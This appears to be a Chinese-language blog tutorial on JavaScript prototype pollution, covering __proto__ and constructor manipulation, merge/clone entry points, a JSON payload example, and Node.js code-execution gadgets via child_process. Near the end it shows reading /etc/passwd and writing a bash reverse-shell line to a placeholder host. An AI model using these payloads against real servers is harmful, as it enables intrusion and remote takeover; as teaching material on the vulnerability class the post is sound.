js原型链污染

发布于 10 天前  10 次阅读


js原型链污染

原理:

JavaScript 中,每个对象都有一个内部链接指向它的原型对象,类似于子类继承父类但是随手可以变更!

核心原理是利用 JavaScript 中对原型链的动态修改能力,通过 __proto__constructor 特殊属性,污染 Object.prototype,影响所有继承自它的对象。

  • __proto__ 是每个对象的一个隐式属性,它指向其构造函数的原型对象。
  • 通过修改 __proto__,可以动态更改对象的原型链,影响继承结构。
const obj = { a: 1 };
const hackerObject = { isAdmin: true };

// 手动将 obj 的原型指向 hackerObject
obj.__proto__ = hackerObject;

console.log(obj.isAdmin);  // true —— 原型链已被篡改
  • constructor 是一个对象的特殊属性,指向构造它的函数。
  • 修改 constructor 可能会改变对象的构造函数行为,影响实例的创建过程。
const obj = {};
obj.constructor = function() {
  console.log("被污染的构造函数");
};

new obj.constructor();  // 输出:被污染的构造函数

利用:

在实际中能够进行这种参数的函数一般有:

  • 对象合并(merge)
  • 对象克隆(clone)本质是将一个对象合并到空对象中

因此,见到merge()clone()函数可以认为存在原型链污染

__proto__作为键名被赋值时(要被解析),就可以修改

express框架中,只要发包时Content-Typeapplication/json即可

引用https://www.freebuf.com/articles/web/264966.html一个例子

let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
//得到1,2
o3 = {}
console.log(o3.b)
//得到2
console.log(o2)
//得到{"a": 1, "__proto__": {"b": 2}}

污染成功后的利用关键函数执行

函数 说明 常见攻击场景
new Function() 创建并运行新的函数,代码来源于字符串 配置文件、用户输入中嵌入恶意代码
eval() 将字符串作为 JavaScript 代码执行 用户提供公式、表达式,未校验直接执行
setTimeout() 如果第一个参数是字符串,会被解释为 JavaScript 代码 动态拼接用户输入到 setTimeout
setInterval() 类似于 setTimeout(),会周期性执行代码 定时执行用户提供的恶意代码
require()(在 Node.js 中) 动态加载模块,如果模块路径是由用户输入决定,则可能加载恶意模块 通过污染路径,加载攻击者构造的恶意模块

结合对象分析

1.require直接导入关键的child_process模块来使用.execSync来执行命令:

require('child_process').execSync('ls')

2.process通过mainModule来间接访问到require,后面同理:

process.mainModule.require('child_process').execSync('ls')

3.modulemodule.constructor也一样:

module.constructor.prototype.require('child_process').execSync('ls')

4.Object.constructor指向 Function构造器,可以构造一个新函数:

{}.constructor.constructor('return process')().mainModule.require('child_process').execSync('ls')

模块除了child_process还有 fs 负责文件

文件读取require('fs').readFileSync('/etc/passwd').toString()

文件写入require('fs').writeFileSync('/tmp/malicious.sh', 'bash -i >& /dev/tcp/XXXX/4444 0>&1')

然后就是列出对象

Object.getOwnPropertyNames(this)可以列出上下文所有对象,包括那些隐藏起来的

QQ:2219349024
最后更新于 2025-02-08